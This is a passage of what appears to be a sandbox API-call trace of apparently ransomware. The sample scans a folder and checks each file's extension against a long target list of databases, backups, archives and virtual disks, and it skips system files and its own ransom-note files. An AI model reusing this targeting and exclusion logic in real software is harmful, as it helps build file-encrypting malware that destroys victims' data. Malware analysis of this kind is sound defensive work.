	[0054.714] lstrcmpiW (lpString1="rad", lpString2="4dl") returned 1
	[0054.714] lstrlenW (lpString="^^^") returned 3
	[0054.714] lstrcmpiW (lpString1="rad", lpString2="^^^") returned 1
	[0054.714] lstrlenW (lpString="abs") returned 3
	[0054.714] lstrcmpiW (lpString1="rad", lpString2="abs") returned 1
	[0054.714] lstrlenW (lpString="abx") returned 3
	[0054.715] lstrcmpiW (lpString1="rad", lpString2="abx") returned 1
	[0054.715] lstrlenW (lpString="accdb") returned 5
	[0054.715] lstrcmpiW (lpString1="ngrad", lpString2="accdb") returned 1
	[0054.715] lstrlenW (lpString="accdc") returned 5
	[0054.715] lstrcmpiW (lpString1="ngrad", lpString2="accdc") returned 1
	[0054.715] lstrlenW (lpString="accde") returned 5
	[0054.715] lstrcmpiW (lpString1="ngrad", lpString2="accde") returned 1
	[0054.715] lstrlenW (lpString="accdr") returned 5
	[0054.715] lstrcmpiW (lpString1="ngrad", lpString2="accdr") returned 1
	[0054.715] lstrlenW (lpString="accdt") returned 5
	[0054.715] lstrcmpiW (lpString1="ngrad", lpString2="accdt") returned 1
	[0054.715] lstrlenW (lpString="accdw") returned 5
	[0054.715] lstrcmpiW (lpString1="ngrad", lpString2="accdw") returned 1
	[0054.715] lstrlenW (lpString="accft") returned 5
	[0054.715] lstrcmpiW (lpString1="ngrad", lpString2="accft") returned 1
	[0054.715] lstrlenW (lpString="adb") returned 3
	[0054.715] lstrcmpiW (lpString1="rad", lpString2="adb") returned 1
	[0054.715] lstrlenW (lpString="adb") returned 3
	[0054.715] lstrcmpiW (lpString1="rad", lpString2="adb") returned 1
	[0054.715] lstrlenW (lpString="ade") returned 3
	[0054.715] lstrcmpiW (lpString1="rad", lpString2="ade") returned 1
	[0054.715] lstrlenW (lpString="adf") returned 3
	[0054.715] lstrcmpiW (lpString1="rad", lpString2="adf") returned 1
	[0054.715] lstrlenW (lpString="adn") returned 3
	[0054.715] lstrcmpiW (lpString1="rad", lpString2="adn") returned 1
	[0054.715] lstrlenW (lpString="adp") returned 3
	[0054.715] lstrcmpiW (lpString1="rad", lpString2="adp") returned 1
	[0054.715] lstrlenW (lpString="alf") returned 3
	[0054.715] lstrcmpiW (lpString1="rad", lpString2="alf") returned 1
	[0054.715] lstrlenW (lpString="ask") returned 3
	[0054.715] lstrcmpiW (lpString1="rad", lpString2="ask") returned 1
	[0054.715] lstrlenW (lpString="btr") returned 3
	[0054.715] lstrcmpiW (lpString1="rad", lpString2="btr") returned 1
	[0054.715] lstrlenW (lpString="cat") returned 3
	[0054.715] lstrcmpiW (lpString1="rad", lpString2="cat") returned 1
	[0054.716] lstrlenW (lpString="cdb") returned 3
	[0054.716] lstrcmpiW (lpString1="rad", lpString2="cdb") returned 1
	[0054.716] lstrlenW (lpString="ckp") returned 3
	[0054.716] lstrcmpiW (lpString1="rad", lpString2="ckp") returned 1
	[0054.716] lstrlenW (lpString="cma") returned 3
	[0054.716] lstrcmpiW (lpString1="rad", lpString2="cma") returned 1
	[0054.716] lstrlenW (lpString="cpd") returned 3
	[0054.716] lstrcmpiW (lpString1="rad", lpString2="cpd") returned 1
	[0054.716] lstrlenW (lpString="dacpac") returned 6
	[0054.716] lstrcmpiW (lpString1="ingrad", lpString2="dacpac") returned 1
	[0054.716] lstrlenW (lpString="dad") returned 3
	[0054.716] lstrcmpiW (lpString1="rad", lpString2="dad") returned 1
	[0054.716] lstrlenW (lpString="dadiagrams") returned 10
	[0054.716] lstrcmpiW (lpString1="aliningrad", lpString2="dadiagrams") returned -1
	[0054.716] lstrlenW (lpString="daschema") returned 8
	[0054.716] lstrcmpiW (lpString1="iningrad", lpString2="daschema") returned 1
	[0054.716] lstrlenW (lpString="db-journal") returned 10
	[0054.716] lstrcmpiW (lpString1="aliningrad", lpString2="db-journal") returned -1
	[0054.716] lstrlenW (lpString="db-shm") returned 6
	[0054.716] lstrcmpiW (lpString1="ingrad", lpString2="db-shm") returned 1
	[0054.716] lstrlenW (lpString="db-wal") returned 6
	[0054.716] lstrcmpiW (lpString1="ingrad", lpString2="db-wal") returned 1
	[0054.716] lstrlenW (lpString="dbc") returned 3
	[0054.716] lstrcmpiW (lpString1="rad", lpString2="dbc") returned 1
	[0054.716] lstrlenW (lpString="dbs") returned 3
	[0054.716] lstrcmpiW (lpString1="rad", lpString2="dbs") returned 1
	[0054.716] lstrlenW (lpString="dbt") returned 3
	[0054.716] lstrcmpiW (lpString1="rad", lpString2="dbt") returned 1
	[0054.716] lstrlenW (lpString="dbv") returned 3
	[0054.716] lstrcmpiW (lpString1="rad", lpString2="dbv") returned 1
	[0054.716] lstrlenW (lpString="dbx") returned 3
	[0054.716] lstrcmpiW (lpString1="rad", lpString2="dbx") returned 1
	[0054.716] lstrlenW (lpString="dcb") returned 3
	[0054.716] lstrcmpiW (lpString1="rad", lpString2="dcb") returned 1
	[0054.717] lstrlenW (lpString="dct") returned 3
	[0054.717] lstrcmpiW (lpString1="rad", lpString2="dct") returned 1
	[0054.717] lstrlenW (lpString="dcx") returned 3
	[0054.717] lstrcmpiW (lpString1="rad", lpString2="dcx") returned 1
	[0054.717] lstrlenW (lpString="ddl") returned 3
	[0054.717] lstrcmpiW (lpString1="rad", lpString2="ddl") returned 1
	[0054.717] lstrlenW (lpString="dlis") returned 4
	[0054.717] lstrcmpiW (lpString1="grad", lpString2="dlis") returned 1
	[0054.717] lstrlenW (lpString="dp1") returned 3
	[0054.717] lstrcmpiW (lpString1="rad", lpString2="dp1") returned 1
	[0054.717] lstrlenW (lpString="dqy") returned 3
	[0054.717] lstrcmpiW (lpString1="rad", lpString2="dqy") returned 1
	[0054.717] lstrlenW (lpString="dsk") returned 3
	[0054.717] lstrcmpiW (lpString1="rad", lpString2="dsk") returned 1
	[0054.717] lstrlenW (lpString="dsn") returned 3
	[0054.717] lstrcmpiW (lpString1="rad", lpString2="dsn") returned 1
	[0054.717] lstrlenW (lpString="dtsx") returned 4
	[0054.717] lstrcmpiW (lpString1="grad", lpString2="dtsx") returned 1
	[0054.717] lstrlenW (lpString="dxl") returned 3
	[0054.717] lstrcmpiW (lpString1="rad", lpString2="dxl") returned 1
	[0054.717] lstrlenW (lpString="eco") returned 3
	[0054.717] lstrcmpiW (lpString1="rad", lpString2="eco") returned 1
	[0054.717] lstrlenW (lpString="ecx") returned 3
	[0054.717] lstrcmpiW (lpString1="rad", lpString2="ecx") returned 1
	[0054.717] lstrlenW (lpString="edb") returned 3
	[0054.717] lstrcmpiW (lpString1="rad", lpString2="edb") returned 1
	[0054.717] lstrlenW (lpString="epim") returned 4
	[0054.717] lstrcmpiW (lpString1="grad", lpString2="epim") returned 1
	[0054.717] lstrlenW (lpString="fcd") returned 3
	[0054.717] lstrcmpiW (lpString1="rad", lpString2="fcd") returned 1
	[0054.717] lstrlenW (lpString="fdb") returned 3
	[0054.717] lstrcmpiW (lpString1="rad", lpString2="fdb") returned 1
	[0054.717] lstrlenW (lpString="fic") returned 3
	[0054.717] lstrcmpiW (lpString1="rad", lpString2="fic") returned 1
	[0054.718] lstrlenW (lpString="flexolibrary") returned 12
	[0054.718] lstrlenW (lpString="fm5") returned 3
	[0054.718] lstrcmpiW (lpString1="rad", lpString2="fm5") returned 1
	[0054.718] lstrlenW (lpString="fmp") returned 3
	[0054.718] lstrcmpiW (lpString1="rad", lpString2="fmp") returned 1
	[0054.718] lstrlenW (lpString="fmp12") returned 5
	[0054.718] lstrcmpiW (lpString1="ngrad", lpString2="fmp12") returned 1
	[0054.718] lstrlenW (lpString="fmpsl") returned 5
	[0054.718] lstrcmpiW (lpString1="ngrad", lpString2="fmpsl") returned 1
	[0054.718] lstrlenW (lpString="fol") returned 3
	[0054.718] lstrcmpiW (lpString1="rad", lpString2="fol") returned 1
	[0054.718] lstrlenW (lpString="fp3") returned 3
	[0054.718] lstrcmpiW (lpString1="rad", lpString2="fp3") returned 1
	[0054.718] lstrlenW (lpString="fp4") returned 3
	[0054.718] lstrcmpiW (lpString1="rad", lpString2="fp4") returned 1
	[0054.718] lstrlenW (lpString="fp5") returned 3
	[0054.718] lstrcmpiW (lpString1="rad", lpString2="fp5") returned 1
	[0054.718] lstrlenW (lpString="fp7") returned 3
	[0054.718] lstrcmpiW (lpString1="rad", lpString2="fp7") returned 1
	[0054.718] lstrlenW (lpString="fpt") returned 3
	[0054.718] lstrcmpiW (lpString1="rad", lpString2="fpt") returned 1
	[0054.718] lstrlenW (lpString="frm") returned 3
	[0054.718] lstrcmpiW (lpString1="rad", lpString2="frm") returned 1
	[0054.718] lstrlenW (lpString="gdb") returned 3
	[0054.718] lstrcmpiW (lpString1="rad", lpString2="gdb") returned 1
	[0054.718] lstrlenW (lpString="gdb") returned 3
	[0054.718] lstrcmpiW (lpString1="rad", lpString2="gdb") returned 1
	[0054.718] lstrlenW (lpString="grdb") returned 4
	[0054.718] lstrcmpiW (lpString1="grad", lpString2="grdb") returned -1
	[0054.718] lstrlenW (lpString="gwi") returned 3
	[0054.718] lstrcmpiW (lpString1="rad", lpString2="gwi") returned 1
	[0054.718] lstrlenW (lpString="hdb") returned 3
	[0054.718] lstrcmpiW (lpString1="rad", lpString2="hdb") returned 1
	[0054.718] lstrlenW (lpString="his") returned 3
	[0054.719] lstrcmpiW (lpString1="rad", lpString2="his") returned 1
	[0054.719] lstrlenW (lpString="ib") returned 2
	[0054.719] lstrcmpiW (lpString1="ad", lpString2="ib") returned -1
	[0054.719] lstrlenW (lpString="idb") returned 3
	[0054.719] lstrcmpiW (lpString1="rad", lpString2="idb") returned 1
	[0054.719] lstrlenW (lpString="ihx") returned 3
	[0054.719] lstrcmpiW (lpString1="rad", lpString2="ihx") returned 1
	[0054.719] lstrlenW (lpString="itdb") returned 4
	[0054.719] lstrcmpiW (lpString1="grad", lpString2="itdb") returned -1
	[0054.719] lstrlenW (lpString="itw") returned 3
	[0054.719] lstrcmpiW (lpString1="rad", lpString2="itw") returned 1
	[0054.719] lstrlenW (lpString="jet") returned 3
	[0054.719] lstrcmpiW (lpString1="rad", lpString2="jet") returned 1
	[0054.719] lstrlenW (lpString="jtx") returned 3
	[0054.719] lstrcmpiW (lpString1="rad", lpString2="jtx") returned 1
	[0054.719] lstrlenW (lpString="kdb") returned 3
	[0054.719] lstrcmpiW (lpString1="rad", lpString2="kdb") returned 1
	[0054.719] lstrlenW (lpString="kexi") returned 4
	[0054.719] lstrcmpiW (lpString1="grad", lpString2="kexi") returned -1
	[0054.719] lstrlenW (lpString="kexic") returned 5
	[0054.719] lstrcmpiW (lpString1="ngrad", lpString2="kexic") returned 1
	[0054.719] lstrlenW (lpString="kexis") returned 5
	[0054.719] lstrcmpiW (lpString1="ngrad", lpString2="kexis") returned 1
	[0054.719] lstrlenW (lpString="lgc") returned 3
	[0054.719] lstrcmpiW (lpString1="rad", lpString2="lgc") returned 1
	[0054.719] lstrlenW (lpString="lwx") returned 3
	[0054.719] lstrcmpiW (lpString1="rad", lpString2="lwx") returned 1
	[0054.719] lstrlenW (lpString="maf") returned 3
	[0054.719] lstrcmpiW (lpString1="rad", lpString2="maf") returned 1
	[0054.719] lstrlenW (lpString="maq") returned 3
	[0054.719] lstrcmpiW (lpString1="rad", lpString2="maq") returned 1
	[0054.719] lstrlenW (lpString="mar") returned 3
	[0054.719] lstrcmpiW (lpString1="rad", lpString2="mar") returned 1
	[0054.719] lstrlenW (lpString="marshal") returned 7
	[0054.720] lstrcmpiW (lpString1="ningrad", lpString2="marshal") returned 1
	[0054.720] lstrlenW (lpString="mas") returned 3
	[0054.720] lstrcmpiW (lpString1="rad", lpString2="mas") returned 1
	[0054.720] lstrlenW (lpString="mav") returned 3
	[0054.720] lstrcmpiW (lpString1="rad", lpString2="mav") returned 1
	[0054.720] lstrlenW (lpString="maw") returned 3
	[0054.720] lstrcmpiW (lpString1="rad", lpString2="maw") returned 1
	[0054.720] lstrlenW (lpString="mdbhtml") returned 7
	[0054.720] lstrcmpiW (lpString1="ningrad", lpString2="mdbhtml") returned 1
	[0054.720] lstrlenW (lpString="mdn") returned 3
	[0054.720] lstrcmpiW (lpString1="rad", lpString2="mdn") returned 1
	[0054.720] lstrlenW (lpString="mdt") returned 3
	[0054.720] lstrcmpiW (lpString1="rad", lpString2="mdt") returned 1
	[0054.720] lstrlenW (lpString="mfd") returned 3
	[0054.720] lstrcmpiW (lpString1="rad", lpString2="mfd") returned 1
	[0054.720] lstrlenW (lpString="mpd") returned 3
	[0054.720] lstrcmpiW (lpString1="rad", lpString2="mpd") returned 1
	[0054.720] lstrlenW (lpString="mrg") returned 3
	[0054.720] lstrcmpiW (lpString1="rad", lpString2="mrg") returned 1
	[0054.720] lstrlenW (lpString="mud") returned 3
	[0054.720] lstrcmpiW (lpString1="rad", lpString2="mud") returned 1
	[0054.720] lstrlenW (lpString="mwb") returned 3
	[0054.720] lstrcmpiW (lpString1="rad", lpString2="mwb") returned 1
	[0054.720] lstrlenW (lpString="myd") returned 3
	[0054.720] lstrcmpiW (lpString1="rad", lpString2="myd") returned 1
	[0054.720] lstrlenW (lpString="ndf") returned 3
	[0054.720] lstrcmpiW (lpString1="rad", lpString2="ndf") returned 1
	[0054.720] lstrlenW (lpString="nnt") returned 3
	[0054.720] lstrcmpiW (lpString1="rad", lpString2="nnt") returned 1
	[0054.720] lstrlenW (lpString="nrmlib") returned 6
	[0054.720] lstrcmpiW (lpString1="ingrad", lpString2="nrmlib") returned -1
	[0054.720] lstrlenW (lpString="ns2") returned 3
	[0054.720] lstrcmpiW (lpString1="rad", lpString2="ns2") returned 1
	[0054.721] lstrlenW (lpString="ns3") returned 3
	[0054.721] lstrcmpiW (lpString1="rad", lpString2="ns3") returned 1
	[0054.721] lstrlenW (lpString="ns4") returned 3
	[0054.721] lstrcmpiW (lpString1="rad", lpString2="ns4") returned 1
	[0054.721] lstrlenW (lpString="nsf") returned 3
	[0054.721] lstrcmpiW (lpString1="rad", lpString2="nsf") returned 1
	[0054.721] lstrlenW (lpString="nv") returned 2
	[0054.721] lstrcmpiW (lpString1="ad", lpString2="nv") returned -1
	[0054.721] lstrlenW (lpString="nv2") returned 3
	[0054.721] lstrcmpiW (lpString1="rad", lpString2="nv2") returned 1
	[0054.721] lstrlenW (lpString="nwdb") returned 4
	[0054.721] lstrcmpiW (lpString1="grad", lpString2="nwdb") returned -1
	[0054.721] lstrlenW (lpString="nyf") returned 3
	[0054.721] lstrcmpiW (lpString1="rad", lpString2="nyf") returned 1
	[0054.721] lstrlenW (lpString="odb") returned 3
	[0054.721] lstrcmpiW (lpString1="rad", lpString2="odb") returned 1
	[0054.721] lstrlenW (lpString="odb") returned 3
	[0054.721] lstrcmpiW (lpString1="rad", lpString2="odb") returned 1
	[0054.721] lstrlenW (lpString="oqy") returned 3
	[0054.721] lstrcmpiW (lpString1="rad", lpString2="oqy") returned 1
	[0054.721] lstrlenW (lpString="ora") returned 3
	[0054.721] lstrcmpiW (lpString1="rad", lpString2="ora") returned 1
	[0054.721] lstrlenW (lpString="orx") returned 3
	[0054.721] lstrcmpiW (lpString1="rad", lpString2="orx") returned 1
	[0054.721] lstrlenW (lpString="owc") returned 3
	[0054.721] lstrcmpiW (lpString1="rad", lpString2="owc") returned 1
	[0054.721] lstrlenW (lpString="p96") returned 3
	[0054.721] lstrcmpiW (lpString1="rad", lpString2="p96") returned 1
	[0054.721] lstrlenW (lpString="p97") returned 3
	[0054.721] lstrcmpiW (lpString1="rad", lpString2="p97") returned 1
	[0054.721] lstrlenW (lpString="pan") returned 3
	[0054.721] lstrcmpiW (lpString1="rad", lpString2="pan") returned 1
	[0054.721] lstrlenW (lpString="pdb") returned 3
	[0054.721] lstrcmpiW (lpString1="rad", lpString2="pdb") returned 1
	[0054.722] lstrlenW (lpString="pdm") returned 3
	[0054.722] lstrcmpiW (lpString1="rad", lpString2="pdm") returned 1
	[0054.722] lstrlenW (lpString="pnz") returned 3
	[0054.722] lstrcmpiW (lpString1="rad", lpString2="pnz") returned 1
	[0054.722] lstrlenW (lpString="qry") returned 3
	[0054.722] lstrcmpiW (lpString1="rad", lpString2="qry") returned 1
	[0054.722] lstrlenW (lpString="qvd") returned 3
	[0054.722] lstrcmpiW (lpString1="rad", lpString2="qvd") returned 1
	[0054.722] lstrlenW (lpString="rbf") returned 3
	[0054.722] lstrcmpiW (lpString1="rad", lpString2="rbf") returned -1
	[0054.722] lstrlenW (lpString="rctd") returned 4
	[0054.722] lstrcmpiW (lpString1="grad", lpString2="rctd") returned -1
	[0054.722] lstrlenW (lpString="rod") returned 3
	[0054.722] lstrcmpiW (lpString1="rad", lpString2="rod") returned -1
	[0054.722] lstrlenW (lpString="rodx") returned 4
	[0054.722] lstrcmpiW (lpString1="grad", lpString2="rodx") returned -1
	[0054.722] lstrlenW (lpString="rpd") returned 3
	[0054.722] lstrcmpiW (lpString1="rad", lpString2="rpd") returned -1
	[0054.722] lstrlenW (lpString="rsd") returned 3
	[0054.722] lstrcmpiW (lpString1="rad", lpString2="rsd") returned -1
	[0054.722] lstrlenW (lpString="sas7bdat") returned 8
	[0054.722] lstrcmpiW (lpString1="iningrad", lpString2="sas7bdat") returned -1
	[0054.722] lstrlenW (lpString="sbf") returned 3
	[0054.722] lstrcmpiW (lpString1="rad", lpString2="sbf") returned -1
	[0054.722] lstrlenW (lpString="scx") returned 3
	[0054.722] lstrcmpiW (lpString1="rad", lpString2="scx") returned -1
	[0054.722] lstrlenW (lpString="sdb") returned 3
	[0054.722] lstrcmpiW (lpString1="rad", lpString2="sdb") returned -1
	[0054.722] lstrlenW (lpString="sdc") returned 3
	[0054.722] lstrcmpiW (lpString1="rad", lpString2="sdc") returned -1
	[0054.722] lstrlenW (lpString="sdf") returned 3
	[0054.722] lstrcmpiW (lpString1="rad", lpString2="sdf") returned -1
	[0054.722] lstrlenW (lpString="sis") returned 3
	[0054.722] lstrcmpiW (lpString1="rad", lpString2="sis") returned -1
	[0054.723] lstrlenW (lpString="spq") returned 3
	[0054.723] lstrcmpiW (lpString1="rad", lpString2="spq") returned -1
	[0054.723] lstrlenW (lpString="te") returned 2
	[0054.723] lstrcmpiW (lpString1="ad", lpString2="te") returned -1
	[0054.723] lstrlenW (lpString="teacher") returned 7
	[0054.723] lstrcmpiW (lpString1="ningrad", lpString2="teacher") returned -1
	[0054.723] lstrlenW (lpString="tmd") returned 3
	[0054.723] lstrcmpiW (lpString1="rad", lpString2="tmd") returned -1
	[0054.723] lstrlenW (lpString="tps") returned 3
	[0054.723] lstrcmpiW (lpString1="rad", lpString2="tps") returned -1
	[0054.723] lstrlenW (lpString="trc") returned 3
	[0054.723] lstrcmpiW (lpString1="rad", lpString2="trc") returned -1
	[0054.723] lstrlenW (lpString="trc") returned 3
	[0054.723] lstrcmpiW (lpString1="rad", lpString2="trc") returned -1
	[0054.723] lstrlenW (lpString="trm") returned 3
	[0054.723] lstrcmpiW (lpString1="rad", lpString2="trm") returned -1
	[0054.723] lstrlenW (lpString="udb") returned 3
	[0054.723] lstrcmpiW (lpString1="rad", lpString2="udb") returned -1
	[0054.723] lstrlenW (lpString="udl") returned 3
	[0054.723] lstrcmpiW (lpString1="rad", lpString2="udl") returned -1
	[0054.723] lstrlenW (lpString="usr") returned 3
	[0054.723] lstrcmpiW (lpString1="rad", lpString2="usr") returned -1
	[0054.723] lstrlenW (lpString="v12") returned 3
	[0054.723] lstrcmpiW (lpString1="rad", lpString2="v12") returned -1
	[0054.723] lstrlenW (lpString="vis") returned 3
	[0054.723] lstrcmpiW (lpString1="rad", lpString2="vis") returned -1
	[0054.723] lstrlenW (lpString="vpd") returned 3
	[0054.723] lstrcmpiW (lpString1="rad", lpString2="vpd") returned -1
	[0054.723] lstrlenW (lpString="vvv") returned 3
	[0054.723] lstrcmpiW (lpString1="rad", lpString2="vvv") returned -1
	[0054.723] lstrlenW (lpString="wdb") returned 3
	[0054.723] lstrcmpiW (lpString1="rad", lpString2="wdb") returned -1
	[0054.723] lstrlenW (lpString="wmdb") returned 4
	[0054.723] lstrcmpiW (lpString1="grad", lpString2="wmdb") returned -1
	[0054.724] lstrlenW (lpString="wrk") returned 3
	[0054.724] lstrcmpiW (lpString1="rad", lpString2="wrk") returned -1
	[0054.724] lstrlenW (lpString="xdb") returned 3
	[0054.724] lstrcmpiW (lpString1="rad", lpString2="xdb") returned -1
	[0054.724] lstrlenW (lpString="xld") returned 3
	[0054.724] lstrcmpiW (lpString1="rad", lpString2="xld") returned -1
	[0054.724] lstrlenW (lpString="xmlff") returned 5
	[0054.724] lstrcmpiW (lpString1="ngrad", lpString2="xmlff") returned -1
	[0054.724] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x418, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Kiev", cAlternateFileName="")) returned 1
	[0054.724] lstrcmpiW (lpString1="Kiev", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.724] lstrcmpiW (lpString1="Kiev", lpString2="Apollon865.txt.exe") returned 1
	[0054.724] lstrcmpiW (lpString1="Kiev", lpString2=".") returned 1
	[0054.724] lstrcmpiW (lpString1="Kiev", lpString2="..") returned 1
	[0054.724] lstrcmpiW (lpString1="Kiev", lpString2="windows") returned -1
	[0054.724] lstrcmpiW (lpString1="Kiev", lpString2="bootmgr") returned 1
	[0054.724] lstrcmpiW (lpString1="Kiev", lpString2="temp") returned -1
	[0054.724] lstrcmpiW (lpString1="Kiev", lpString2="pagefile.sys") returned -1
	[0054.724] lstrcmpiW (lpString1="Kiev", lpString2="boot") returned 1
	[0054.724] lstrcmpiW (lpString1="Kiev", lpString2="ids.txt") returned 1
	[0054.724] lstrcmpiW (lpString1="Kiev", lpString2="ntuser.dat") returned -1
	[0054.724] lstrcmpiW (lpString1="Kiev", lpString2="perflogs") returned -1
	[0054.724] lstrcmpiW (lpString1="Kiev", lpString2="MSBuild") returned -1
	[0054.724] lstrlenW (lpString="Kiev") returned 4
	[0054.724] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Kaliningrad") returned 58
	[0054.724] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Kiev" | out: lpString1="Kiev") returned="Kiev"
	[0054.724] lstrlenW (lpString="Kiev") returned 4
	[0054.724] lstrlenW (lpString="Apollon865") returned 10
	[0054.724] lstrlenW (lpString=".dll") returned 4
	[0054.724] lstrlenW (lpString=".lnk") returned 4
	[0054.724] lstrlenW (lpString=".ini") returned 4
	[0054.724] lstrlenW (lpString=".sys") returned 4
	[0054.724] lstrlenW (lpString="Kiev") returned 4
	[0054.724] lstrlenW (lpString="bak") returned 3
	[0054.725] lstrcmpiW (lpString1="iev", lpString2="bak") returned 1
	[0054.725] lstrlenW (lpString="ba_") returned 3
	[0054.725] lstrcmpiW (lpString1="iev", lpString2="ba_") returned 1
	[0054.725] lstrlenW (lpString="dbb") returned 3
	[0054.725] lstrcmpiW (lpString1="iev", lpString2="dbb") returned 1
	[0054.725] lstrlenW (lpString="vmdk") returned 4
	[0054.725] lstrlenW (lpString="rar") returned 3
	[0054.725] lstrcmpiW (lpString1="iev", lpString2="rar") returned -1
	[0054.725] lstrlenW (lpString="zip") returned 3
	[0054.725] lstrcmpiW (lpString1="iev", lpString2="zip") returned -1
	[0054.725] lstrlenW (lpString="tgz") returned 3
	[0054.725] lstrcmpiW (lpString1="iev", lpString2="tgz") returned -1
	[0054.725] lstrlenW (lpString="vbox") returned 4
	[0054.725] lstrlenW (lpString="vdi") returned 3
	[0054.725] lstrcmpiW (lpString1="iev", lpString2="vdi") returned -1
	[0054.725] lstrlenW (lpString="vhd") returned 3
	[0054.725] lstrcmpiW (lpString1="iev", lpString2="vhd") returned -1
	[0054.725] lstrlenW (lpString="vhdx") returned 4
	[0054.725] lstrlenW (lpString="avhd") returned 4
	[0054.725] lstrlenW (lpString="db") returned 2
	[0054.725] lstrcmpiW (lpString1="ev", lpString2="db") returned 1
	[0054.725] lstrlenW (lpString="db2") returned 3
	[0054.725] lstrcmpiW (lpString1="iev", lpString2="db2") returned 1
	[0054.725] lstrlenW (lpString="db3") returned 3
	[0054.725] lstrcmpiW (lpString1="iev", lpString2="db3") returned 1
	[0054.725] lstrlenW (lpString="dbf") returned 3
	[0054.725] lstrcmpiW (lpString1="iev", lpString2="dbf") returned 1
	[0054.725] lstrlenW (lpString="mdf") returned 3
	[0054.725] lstrcmpiW (lpString1="iev", lpString2="mdf") returned -1
	[0054.725] lstrlenW (lpString="mdb") returned 3
	[0054.725] lstrcmpiW (lpString1="iev", lpString2="mdb") returned -1
	[0054.725] lstrlenW (lpString="sql") returned 3
	[0054.725] lstrcmpiW (lpString1="iev", lpString2="sql") returned -1
	[0054.726] lstrlenW (lpString="sqlite") returned 6
	[0054.726] lstrlenW (lpString="sqlite3") returned 7
	[0054.726] lstrlenW (lpString="sqlitedb") returned 8
	[0054.726] lstrlenW (lpString="xml") returned 3
	[0054.726] lstrcmpiW (lpString1="iev", lpString2="xml") returned -1
	[0054.726] lstrlenW (lpString="$er") returned 3
	[0054.726] lstrcmpiW (lpString1="iev", lpString2="$er") returned 1
	[0054.726] lstrlenW (lpString="4dd") returned 3
	[0054.726] lstrcmpiW (lpString1="iev", lpString2="4dd") returned 1
	[0054.726] lstrlenW (lpString="4dl") returned 3
	[0054.726] lstrcmpiW (lpString1="iev", lpString2="4dl") returned 1
	[0054.726] lstrlenW (lpString="^^^") returned 3
	[0054.726] lstrcmpiW (lpString1="iev", lpString2="^^^") returned 1
	[0054.726] lstrlenW (lpString="abs") returned 3
	[0054.726] lstrcmpiW (lpString1="iev", lpString2="abs") returned 1
	[0054.726] lstrlenW (lpString="abx") returned 3
	[0054.726] lstrcmpiW (lpString1="iev", lpString2="abx") returned 1
	[0054.726] lstrlenW (lpString="accdb") returned 5
	[0054.726] lstrlenW (lpString="accdc") returned 5
	[0054.726] lstrlenW (lpString="accde") returned 5
	[0054.726] lstrlenW (lpString="accdr") returned 5
	[0054.726] lstrlenW (lpString="accdt") returned 5
	[0054.726] lstrlenW (lpString="accdw") returned 5
	[0054.726] lstrlenW (lpString="accft") returned 5
	[0054.726] lstrlenW (lpString="adb") returned 3
	[0054.726] lstrcmpiW (lpString1="iev", lpString2="adb") returned 1
	[0054.726] lstrlenW (lpString="adb") returned 3
	[0054.726] lstrcmpiW (lpString1="iev", lpString2="adb") returned 1
	[0054.726] lstrlenW (lpString="ade") returned 3
	[0054.726] lstrcmpiW (lpString1="iev", lpString2="ade") returned 1
	[0054.726] lstrlenW (lpString="adf") returned 3
	[0054.726] lstrcmpiW (lpString1="iev", lpString2="adf") returned 1
	[0054.726] lstrlenW (lpString="adn") returned 3
	[0054.726] lstrcmpiW (lpString1="iev", lpString2="adn") returned 1
	[0054.727] lstrlenW (lpString="adp") returned 3
	[0054.727] lstrcmpiW (lpString1="iev", lpString2="adp") returned 1
	[0054.727] lstrlenW (lpString="alf") returned 3
	[0054.727] lstrcmpiW (lpString1="iev", lpString2="alf") returned 1
	[0054.727] lstrlenW (lpString="ask") returned 3
	[0054.727] lstrcmpiW (lpString1="iev", lpString2="ask") returned 1
	[0054.727] lstrlenW (lpString="btr") returned 3
	[0054.727] lstrcmpiW (lpString1="iev", lpString2="btr") returned 1
	[0054.727] lstrlenW (lpString="cat") returned 3
	[0054.727] lstrcmpiW (lpString1="iev", lpString2="cat") returned 1
	[0054.727] lstrlenW (lpString="cdb") returned 3
	[0054.727] lstrcmpiW (lpString1="iev", lpString2="cdb") returned 1
	[0054.727] lstrlenW (lpString="ckp") returned 3
	[0054.727] lstrcmpiW (lpString1="iev", lpString2="ckp") returned 1
	[0054.727] lstrlenW (lpString="cma") returned 3
	[0054.727] lstrcmpiW (lpString1="iev", lpString2="cma") returned 1
	[0054.727] lstrlenW (lpString="cpd") returned 3
	[0054.727] lstrcmpiW (lpString1="iev", lpString2="cpd") returned 1
	[0054.727] lstrlenW (lpString="dacpac") returned 6
	[0054.727] lstrlenW (lpString="dad") returned 3
	[0054.727] lstrcmpiW (lpString1="iev", lpString2="dad") returned 1
	[0054.727] lstrlenW (lpString="dadiagrams") returned 10
	[0054.727] lstrlenW (lpString="daschema") returned 8
	[0054.727] lstrlenW (lpString="db-journal") returned 10
	[0054.727] lstrlenW (lpString="db-shm") returned 6
	[0054.727] lstrlenW (lpString="db-wal") returned 6
	[0054.727] lstrlenW (lpString="dbc") returned 3
	[0054.727] lstrcmpiW (lpString1="iev", lpString2="dbc") returned 1
	[0054.727] lstrlenW (lpString="dbs") returned 3
	[0054.727] lstrcmpiW (lpString1="iev", lpString2="dbs") returned 1
	[0054.727] lstrlenW (lpString="dbt") returned 3
	[0054.727] lstrcmpiW (lpString1="iev", lpString2="dbt") returned 1
	[0054.727] lstrlenW (lpString="dbv") returned 3
	[0054.728] lstrcmpiW (lpString1="iev", lpString2="dbv") returned 1
	[0054.728] lstrlenW (lpString="dbx") returned 3
	[0054.728] lstrcmpiW (lpString1="iev", lpString2="dbx") returned 1
	[0054.728] lstrlenW (lpString="dcb") returned 3
	[0054.728] lstrcmpiW (lpString1="iev", lpString2="dcb") returned 1
	[0054.728] lstrcmpiW (lpString1="iev", lpString2="dct") returned 1
	[0054.728] lstrcmpiW (lpString1="iev", lpString2="dcx") returned 1
